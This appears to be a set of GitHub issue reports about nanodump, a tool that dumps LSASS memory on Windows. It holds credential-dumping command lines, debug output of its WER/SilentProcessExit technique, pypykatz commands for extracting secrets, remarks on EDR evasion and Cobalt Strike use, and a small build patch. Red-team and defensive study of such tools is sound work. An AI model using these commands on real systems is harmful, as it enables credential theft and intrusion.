I'm using the same exe on the same cloned VM, first one works, second one has an EDR and I get this:

>whoami /all
...
SeDebugPrivilege                Debug programs                            Disabled

>tasklist
...
lsass.exe                      728 Services                   0     16,536 K

>nanodump.x64.exe -w dump
The LSASS process was not found. Are you elevated?

I'm guessing the EDR is doing something, but it has detected nothing, any idea?

p.s. the VM is obviously isolated from internet/cloud

Hi @S4ntiagoP ,

the werfault technique seems cool and has some potential :)

However, i run it on a Windows 1909 and i got an empty lsass dump:

This is the output of the debug release:

C:\Users\splintercode\Desktop\nanodump-main\dist>nanodump.x64.exe --werfault C:\dmp -p 792
DEBUG: source/utils.c:323:remove_syscall_callback_hook(): The syscall callback hook was set to NULL
DEBUG: source/entry.c:474:main(): Using 792 as the PID of LSASS
DEBUG: source/werfault.c:117:set_registry_keys(): Registry key has been created : \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe
DEBUG: source/werfault.c:137:set_registry_keys(): Registry key value has been created : GlobalFlag
DEBUG: source/werfault.c:170:set_registry_keys(): Registry key has been created : \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\
DEBUG: source/werfault.c:192:set_registry_keys(): Registry key has been created : \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe
DEBUG: source/werfault.c:229:set_registry_keys(): Sub key LocalDumpFolder has been created
DEBUG: source/werfault.c:246:set_registry_keys(): Sub key DumpType has been created
DEBUG: source/werfault.c:500:rtl_report_silent_process_exit(): LSASS PID: 792, PID: 4508, TID: 10148
DEBUG: source/werfault.c:352:WaitForWerSvc(): The WER is ready
DEBUG: source/werfault.c:455:SendMessageToWERService(): Port handle: 0x000000000000008C
DEBUG: source/werfault.c:472:SendMessageToWERService(): Sent the message to the WER service
Done, to get the secretz run:
python3 -m pypykatz lsa minidump lsass.exe-(PID-792).dmp

Any idea why it's not working?

INFO:root:Parsing file ../../TEST_1636586596_lsass.dmp INFO:pypykatz:===== BASIC INFO. SUBMIT THIS IF THERE IS AN ISSUE ===== INFO:pypykatz:pypyKatz version: 0.3.7 INFO:pypykatz:CPU arch: X64 INFO:pypykatz:OS: Windows 10 INFO:pypykatz:BuildNumber: 22000 INFO:pypykatz:MajorVersion: 6 INFO:pypykatz:MSV timestamp: 0 INFO:pypykatz:===== BASIC INFO END ===== ERROR:root:Error while parsing file ../../TEST_1636586596_lsass.dmp Traceback (most recent call last): File "/usr/lib/python3/dist-packages/pypykatz/lsadecryptor/cmdhelper.py", line 195, in run mimi = pypykatz.parse_minidump_file(args.memoryfile) File "/usr/lib/python3/dist-packages/pypykatz/pypykatz.py", line 77, in parse_minidump_file raise e File "/usr/lib/python3/dist-packages/pypykatz/pypykatz.py", line 73, in parse_minidump_file mimi.start() File "/usr/lib/python3/dist-packages/pypykatz/pypykatz.py", line 267, in start self.get_logoncreds() File "/usr/lib/python3/dist-packages/pypykatz/pypykatz.py", line 168, in get_logoncreds logoncred_decryptor.start() File "/usr/lib/python3/dist-packages/pypykatz/lsadecryptor/packages/msv/decryptor.py", line 360, in start entry_ptr_value, entry_ptr_loc = self.find_first_entry() File "/usr/lib/python3/dist-packages/pypykatz/lsadecryptor/packages/msv/decryptor.py", line 263, in find_first_entry position = self.find_signature('lsasrv.dll',self.decryptor_template.signature) File "/usr/lib/python3/dist-packages/pypykatz/lsadecryptor/package_commons.py", line 71, in find_signature raise Exception('Signature was not found in module %s Signature: %s' % (module_name, self.decryptor_template.signature.hex())) Exception: Signature was not found in module lsasrv.dll Signature: 33ff4189374c8bf34585c074 Traceback (most recent call last): File "/usr/lib/python3/dist-packages/pypykatz/lsadecryptor/cmdhelper.py", line 195, in run mimi = pypykatz.parse_minidump_file(args.memoryfile) File "/usr/lib/python3/dist-packages/pypykatz/pypykatz.py", line 77, in parse_minidump_file raise e File "/usr/lib/python3/dist-packages/pypykatz/pypykatz.py", line 73, in parse_minidump_file mimi.start() File "/usr/lib/python3/dist-packages/pypykatz/pypykatz.py", line 267, in start self.get_logoncreds() File "/usr/lib/python3/dist-packages/pypykatz/pypykatz.py", line 168, in get_logoncreds logoncred_decryptor.start() File "/usr/lib/python3/dist-packages/pypykatz/lsadecryptor/packages/msv/decryptor.py", line 360, in start entry_ptr_value, entry_ptr_loc = self.find_first_entry() File "/usr/lib/python3/dist-packages/pypykatz/lsadecryptor/packages/msv/decryptor.py", line 263, in find_first_entry position = self.find_signature('lsasrv.dll',self.decryptor_template.signature) File "/usr/lib/python3/dist-packages/pypykatz/lsadecryptor/package_commons.py", line 71, in find_signature raise Exception('Signature was not found in module %s Signature: %s' % (module_name, self.decryptor_template.signature.hex())) Exception: Signature was not found in module lsasrv.dll Signature: 33ff4189374c8bf34585c074

It was dumped fine but it could not be parsed either from mimikatz or pypykatz.

Hey, really appreciate the project.

On systems where there's large memory dumps (>DUMP_MAX_SIZE), you get the "dump is too big" errors produced by append() as expected (line ~30 in nanodump.c). However, it doesn't set any state to indicate an error has occurred.

This means you could end up with a load of the dump size errors, and then when it's time to send the data back, it still does (resulting in a lot data being exfiltrated), but it's obviously corrupted as it's not all there so you can't analyse it.

nanodump$ make -f Makefile.mingw
rm -f dist/*
###### RELEASE ######
x86_64-w64-mingw32-gcc source/spoof_callstack.c source/dinvoke.c source/utils.c source/handle.c source/impersonate.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/werfault.c source/entry.c -o dist/nanodump.x64.exe -masm=intel -Wall -I include -DNANO -DEXE
source/malseclogon.c: In function ‘leak_lsass_handle_in_seclogon_with_race_condition’:
source/malseclogon.c:502:5: error: unknown type name ‘REQUEST_OPLOCK_INPUT_BUFFER’
  502 |     REQUEST_OPLOCK_INPUT_BUFFER inputBuffer = { 0 };
      |     ^~~~~~~~~~~~~~~~~~~~~~~~~~~
source/malseclogon.c:503:5: error: unknown type name ‘REQUEST_OPLOCK_OUTPUT_BUFFER’
  503 |     REQUEST_OPLOCK_OUTPUT_BUFFER outputBuffer = { 0 };
      |     ^~~~~~~~~~~~~~~~~~~~~~~~~~~~
source/malseclogon.c:504:16: error: request for member ‘StructureVersion’ in something not a structure or union
  504 |     inputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION;
      |                ^
source/malseclogon.c:504:36: error: ‘REQUEST_OPLOCK_CURRENT_VERSION’ undeclared (first use in this function)
  504 |     inputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION;
      |                                    ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
source/malseclogon.c:504:36: note: each undeclared identifier is reported only once for each function it appears in
source/malseclogon.c:505:16: error: request for member ‘StructureLength’ in something not a structure or union
  505 |     inputBuffer.StructureLength = sizeof(inputBuffer);
      |                ^
source/malseclogon.c:506:16: error: request for member ‘RequestedOplockLevel’ in something not a structure or union
  506 |     inputBuffer.RequestedOplockLevel = OPLOCK_LEVEL_CACHE_READ | OPLOCK_LEVEL_CACHE_HANDLE;
      |                ^
source/malseclogon.c:506:40: error: ‘OPLOCK_LEVEL_CACHE_READ’ undeclared (first use in this function)
  506 |     inputBuffer.RequestedOplockLevel = OPLOCK_LEVEL_CACHE_READ | OPLOCK_LEVEL_CACHE_HANDLE;
      |                                        ^~~~~~~~~~~~~~~~~~~~~~~
source/malseclogon.c:506:66: error: ‘OPLOCK_LEVEL_CACHE_HANDLE’ undeclared (first use in this function)
  506 |     inputBuffer.RequestedOplockLevel = OPLOCK_LEVEL_CACHE_READ | OPLOCK_LEVEL_CACHE_HANDLE;
      |                                                                  ^~~~~~~~~~~~~~~~~~~~~~~~~
source/malseclogon.c:507:16: error: request for member ‘Flags’ in something not a structure or union
  507 |     inputBuffer.Flags = REQUEST_OPLOCK_INPUT_FLAG_REQUEST;
      |                ^
source/malseclogon.c:507:25: error: ‘REQUEST_OPLOCK_INPUT_FLAG_REQUEST’ undeclared (first use in this function)
  507 |     inputBuffer.Flags = REQUEST_OPLOCK_INPUT_FLAG_REQUEST;
      |                         ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
source/malseclogon.c:508:17: error: request for member ‘StructureVersion’ in something not a structure or union
  508 |     outputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION;
      |                 ^
source/malseclogon.c:509:17: error: request for member ‘StructureLength’ in something not a structure or union
  509 |     outputBuffer.StructureLength = sizeof(outputBuffer);
      |                 ^
source/malseclogon.c:565:9: error: ‘FSCTL_REQUEST_OPLOCK’ undeclared (first use in this function); did you mean ‘FSCTL_REQUEST_BATCH_OPLOCK’?
  565 |         FSCTL_REQUEST_OPLOCK,
      |         ^~~~~~~~~~~~~~~~~~~~
      |         FSCTL_REQUEST_BATCH_OPLOCK
make: *** [Makefile.mingw:11: nanodump] Error 1

Text above displayed when fresh download of project is done with make -f Makefile.mingw command is run.

Hello team,

I have problems when I run the nanodump.x64.exe directly on a Windows Server 2012 R2 (in a powershell). Unfortunately there is no output or any error message at all. In general it looks like this:

PS C:\users\public> .\n64.exe --write test1.docx
PS C:\users\public>

PS C:\users\public> .\n64.exe --write test2.docx --fork
PS C:\users\public>

PS C:\users\public> .\n64.exe --write test3.docx --snapshot
PS C:\users\public>

Nothing is done or written to the hard disk. Tested the same behavior on multiple Windows Server 2012 R2 with the same result. Have you ever noticed such behavior?

Example system version:

OS Name:                   Microsoft Windows Server 2012 R2 Standard
OS Version:                6.3.9600 N/A Build 9600

Thanks in advance for the support and also for the really cool tool :)

hello, getting this error during the compile steps:

C:\temp\nanodump>nmake -f Makefile.msvc

Microsoft (R) Program Maintenance Utility Version 14.29.30140.0 Copyright (C) Microsoft Corporation. All rights reserved.

RELEASE

    ML64 /c source/syscalls-asm.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64

Microsoft (R) Macro Assembler (x64) Version 14.29.30140.0 Copyright (C) Microsoft Corporation. All rights reserved.

Assembling: source/syscalls-asm.asm cl.exe -DNANO -DEXE -Zp8 -c -nologo -Gy -Os -O1 -GR- -EHa -Oi -GS- -I include source/dinvoke.c source/utils.c source/handle.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/entry.c dinvoke.c utils.c source/utils.c(264): error C2065: 'ProcessInstrumentationCallback': undeclared identifier handle.c modules.c syscalls.c token_priv.c malseclogon.c nanodump.c entry.c Generating Code... NMAKE : fatal error U1077: '"C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.29.30133\bin\HostX64\x64\cl.exe"' : return code '0x2' Stop.

any ideas or i do something wrong ? thanks

Hi,

I was trying out on multiple systems now, with an elevated prompt and/or a SYSTEM shell. The find_lsass function always returns The LSASS process was not found. Try providing the PID with -p or --pid

Dumping with manually specifying the ID works fine for me.

I wonder what the problem is here, actually.

Some ideas?

Greetings

Target iInformation

Windows 7 Ultimate (x64)

I use the .exe version to run nanodump

then I downloaded the minidump and Recover invalid signatures

I use Kali pypykatz, But it failed

I also try to use Cobalt Strike, then use Kali pypykatz, it failed too

Declare in advance that my Kali pypykatz is OK

REF issue on other repo https://github.com/skelsec/pypykatz/issues/101

I have run into this when using tool.

Let me know what/if any feedback is needed.

restore_signature.sh was run without error on file.

1 Beacon did basically DOS shell with The dump file is too big. please increase DUMP_MAX_SIZE. this occurred on 1 of 2 tests.

nanodump.x64.o cannot be used with "friendly" COFF loaders (like Cobalt Strike) due to implementations for get_library_address and get_function_address not being provided. A quick fix for this is provided below, although it imports a decent chunk of code that is unused and is not an ideal solution.

tl;dr - as these functions are built without an implementation, the compiler treats them as external functions. When a COFF loader sees this, it will attempt to resolve an implementation externally, which it can't.

diff --git a/source/entry.c b/source/entry.c
index 323c2af..e37d62e 100644
--- a/source/entry.c
+++ b/source/entry.c
@@ -1,6 +1,8 @@
 #include "entry.h"

 #ifdef BOF
+ #include "syscalls.h"
+ #include "dinvoke.c"
  #include "nanodump.c"
 #else
  #include "nanodump.h"